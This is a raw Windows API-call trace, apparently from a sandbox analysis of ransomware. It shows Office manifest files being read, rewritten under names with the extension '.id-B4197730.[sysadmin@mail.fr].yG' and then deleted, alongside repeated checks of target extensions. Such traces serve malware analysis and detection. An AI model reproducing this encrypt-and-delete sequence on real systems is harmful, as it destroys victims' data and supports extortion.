	[0050.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0050.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0050.428] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.428] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0050.428] GetLastError () returned 0x0
	[0050.428] ReadFile (in: hFile=0x380, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0050.648] WriteFile (in: hFile=0x2e4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0050.648] ReadFile (in: hFile=0x380, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.648] WriteFile (in: hFile=0x2e4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.648] SetEndOfFile (hFile=0x2e4) returned 1
	[0050.860] CloseHandle (hObject=0x2e4) returned 1
	[0050.861] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.861] SetEndOfFile (hFile=0x380) returned 1
	[0050.862] CloseHandle (hObject=0x380) returned 1
	[0050.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0050.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 1
	[0050.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0050.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0050.862] lstrlenW (lpString=".doc") returned 4
	[0050.862] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.862] lstrlenW (lpString=".docx") returned 5
	[0050.862] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.862] lstrlenW (lpString=".pdf") returned 4
	[0050.862] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.862] lstrlenW (lpString=".xls") returned 4
	[0050.862] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.863] lstrlenW (lpString=".xlsx") returned 5
	[0050.863] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.863] lstrlenW (lpString=".ppt") returned 4
	[0050.863] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0050.863] lstrlenW (lpString=".zip") returned 4
	[0050.863] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.863] lstrlenW (lpString=".rar") returned 4
	[0050.863] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.863] lstrlenW (lpString=".bz2") returned 4
	[0050.863] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.863] lstrlenW (lpString=".7z") returned 3
	[0050.863] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0050.863] lstrlenW (lpString=".dbf") returned 4
	[0050.863] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0050.863] lstrlenW (lpString=".1cd") returned 4
	[0050.863] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0050.863] lstrlenW (lpString=".jpg") returned 4
	[0050.863] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0050.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0050.863] lstrlenW (lpString=".doc") returned 4
	[0050.863] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.863] lstrlenW (lpString=".docx") returned 5
	[0050.863] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.863] lstrlenW (lpString=".pdf") returned 4
	[0050.863] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.863] lstrlenW (lpString=".xls") returned 4
	[0050.863] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.863] lstrlenW (lpString=".xlsx") returned 5
	[0050.863] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.863] lstrlenW (lpString=".ppt") returned 4
	[0050.863] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0050.864] lstrlenW (lpString=".zip") returned 4
	[0050.864] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.864] lstrlenW (lpString=".rar") returned 4
	[0050.864] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.864] lstrlenW (lpString=".bz2") returned 4
	[0050.864] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.864] lstrlenW (lpString=".7z") returned 3
	[0050.864] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0050.864] lstrlenW (lpString=".dbf") returned 4
	[0050.864] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0050.864] lstrlenW (lpString=".1cd") returned 4
	[0050.864] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0050.864] lstrlenW (lpString=".jpg") returned 4
	[0050.864] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.864] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.864] lstrlenW (lpString="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 53
	[0050.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0050.864] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=399528) returned 1
	[0050.864] CloseHandle (hObject=0x380) returned 1
	[0050.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0050.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0050.865] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.865] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0050.865] GetLastError () returned 0x0
	[0050.865] ReadFile (in: hFile=0x380, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x618a8, lpOverlapped=0x0) returned 1
	[0050.943] WriteFile (in: hFile=0x2e4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x618b0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x618b0, lpOverlapped=0x0) returned 1
	[0050.949] ReadFile (in: hFile=0x380, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.949] WriteFile (in: hFile=0x2e4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.949] SetEndOfFile (hFile=0x2e4) returned 1
	[0050.949] CloseHandle (hObject=0x2e4) returned 1
	[0050.955] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.955] SetEndOfFile (hFile=0x380) returned 1
	[0050.959] CloseHandle (hObject=0x380) returned 1
	[0050.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0050.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 1
	[0050.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.960] lstrlenW (lpString=".doc") returned 4
	[0050.960] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.960] lstrlenW (lpString=".docx") returned 5
	[0050.960] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.960] lstrlenW (lpString=".pdf") returned 4
	[0050.960] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.960] lstrlenW (lpString=".xls") returned 4
	[0050.960] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.960] lstrlenW (lpString=".xlsx") returned 5
	[0050.960] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.960] lstrlenW (lpString=".ppt") returned 4
	[0050.960] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.960] lstrlenW (lpString=".zip") returned 4
	[0050.960] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.960] lstrlenW (lpString=".rar") returned 4
	[0050.960] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.960] lstrlenW (lpString=".bz2") returned 4
	[0050.960] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.960] lstrlenW (lpString=".7z") returned 3
	[0050.960] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.960] lstrlenW (lpString=".dbf") returned 4
	[0050.960] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.960] lstrlenW (lpString=".1cd") returned 4
	[0050.960] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.960] lstrlenW (lpString=".jpg") returned 4
	[0050.960] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.960] lstrlenW (lpString=".doc") returned 4
	[0050.960] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.961] lstrlenW (lpString=".docx") returned 5
	[0050.961] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.961] lstrlenW (lpString=".pdf") returned 4
	[0050.961] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.961] lstrlenW (lpString=".xls") returned 4
	[0050.961] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.961] lstrlenW (lpString=".xlsx") returned 5
	[0050.961] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.961] lstrlenW (lpString=".ppt") returned 4
	[0050.961] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.961] lstrlenW (lpString=".zip") returned 4
	[0050.961] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.961] lstrlenW (lpString=".rar") returned 4
	[0050.961] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.961] lstrlenW (lpString=".bz2") returned 4
	[0050.961] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.961] lstrlenW (lpString=".7z") returned 3
	[0050.961] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.961] lstrlenW (lpString=".dbf") returned 4
	[0050.961] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.961] lstrlenW (lpString=".1cd") returned 4
	[0050.961] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.961] lstrlenW (lpString=".jpg") returned 4
	[0050.961] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.961] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.961] lstrlenW (lpString="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 53
	[0050.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0050.962] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=1261) returned 1
	[0050.962] CloseHandle (hObject=0x380) returned 1
	[0050.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0050.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0050.962] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.962] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0050.965] GetLastError () returned 0x0
	[0050.965] ReadFile (in: hFile=0x380, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0050.976] WriteFile (in: hFile=0x2e4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0050.977] ReadFile (in: hFile=0x380, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.977] WriteFile (in: hFile=0x2e4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.977] SetEndOfFile (hFile=0x2e4) returned 1
	[0050.977] CloseHandle (hObject=0x2e4) returned 1
	[0050.977] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.977] SetEndOfFile (hFile=0x380) returned 1
	[0050.978] CloseHandle (hObject=0x380) returned 1
	[0050.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0050.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 1
	[0050.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0050.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0050.979] lstrlenW (lpString=".doc") returned 4
	[0050.979] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.979] lstrlenW (lpString=".docx") returned 5
	[0050.979] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.979] lstrlenW (lpString=".pdf") returned 4
	[0050.979] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.979] lstrlenW (lpString=".xls") returned 4
	[0050.979] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.979] lstrlenW (lpString=".xlsx") returned 5
	[0050.979] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.979] lstrlenW (lpString=".ppt") returned 4
	[0050.979] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0051.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0051.376] lstrlenW (lpString=".zip") returned 4
	[0051.376] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0051.376] lstrlenW (lpString=".rar") returned 4
	[0051.376] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0051.376] lstrlenW (lpString=".bz2") returned 4
	[0051.376] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0051.376] lstrlenW (lpString=".7z") returned 3
	[0051.376] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0051.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0051.376] lstrlenW (lpString=".dbf") returned 4
	[0051.376] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0051.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0051.376] lstrlenW (lpString=".1cd") returned 4
	[0051.376] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0051.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0051.376] lstrlenW (lpString=".jpg") returned 4
	[0051.376] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0051.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0051.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0051.377] lstrlenW (lpString=".doc") returned 4
	[0051.377] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0051.377] lstrlenW (lpString=".docx") returned 5
	[0051.377] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0051.377] lstrlenW (lpString=".pdf") returned 4
	[0051.377] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0051.377] lstrlenW (lpString=".xls") returned 4
	[0051.377] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0051.377] lstrlenW (lpString=".xlsx") returned 5
	[0051.377] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0051.377] lstrlenW (lpString=".ppt") returned 4
	[0051.377] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0051.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0051.377] lstrlenW (lpString=".zip") returned 4
	[0051.377] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0051.377] lstrlenW (lpString=".rar") returned 4
	[0051.377] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
